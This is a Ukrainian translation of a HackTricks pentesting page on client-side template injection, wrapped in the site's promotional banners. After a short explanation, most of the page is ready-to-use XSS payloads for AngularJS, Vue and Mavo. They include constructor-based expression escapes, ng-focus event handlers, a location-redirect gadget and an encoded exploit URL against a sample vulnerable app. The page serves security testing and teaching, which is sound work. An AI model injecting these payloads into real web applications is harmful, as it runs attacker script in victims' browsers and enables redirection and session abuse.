Client Side Template Injection (CSTI)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

• Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF Перевірте ПЛАНИ ПІДПИСКИ!

• Отримайте офіційний PEASS & HackTricks мерч

• Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFTs

• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.

• Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.

Summary

Це схоже на Внедрення шаблону на стороні сервера, але на клієнті. SSTI може дозволити вам виконувати код на віддаленому сервері, а CSTI може дозволити вам виконувати довільний код JavaScript в браузері жертви.

Тестування цієї уразливості дуже схоже на випадок SSTI, інтерпретатор очікує шаблон і виконає його. Наприклад, з навантаженням типу {{ 7-7 }}, якщо додаток уразливий, ви побачите 0, а якщо ні, ви побачите оригінал: {{ 7-7 }}

AngularJS

AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, одна з найвідоміших - ng-app. Ця директива дозволяє AngularJS обробляти вміст HTML, дозволяючи виконувати вирази JavaScript всередині подвійних фігурних дужок.

У випадках, коли введення користувача динамічно вставляється в тіло HTML з тегом ng-app, можливо виконати довільний код JavaScript. Це можна зробити, використовуючи синтаксис AngularJS всередині введення. Нижче наведено приклади, що демонструють, як можна виконати код JavaScript:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Ви можете знайти дуже базовий онлайн приклад уразливості в AngularJS на http://jsfiddle.net/2zs2yv7o/ та на Burp Suite Academy

Angular 1.6 видалив пісочницю тому з цієї версії пейлоади типу {{constructor.constructor('alert(1)')()}} або <input ng-focus=$event.view.alert('XSS')> мають працювати.

VueJS

Ви можете знайти уразливу реалізацію Vue за посиланням https://vue-client-side-template-injection-example.azu.now.sh/ Працюючий пейлоад: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

А також вихідний код уразливого прикладу тут: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Дуже цікавий пост про CSTI в VUE можна знайти за посиланням https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Кредит: Гарет Хейс, Льюїс Ардерн та PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Кредит: Mario Heiderich

Перевірте більше навантажень VUE за посиланням https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Навантаження:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Більше полезних вразливостей в https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Список виявлення перебору

Auto_Wordlists/ssti.txt at main · carlospolop/Auto_WordlistsGitHub

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

• Якщо ви хочете побачити вашу компанію рекламовану в HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!

• Отримайте офіційний PEASS & HackTricks мерч

• Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.

• Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.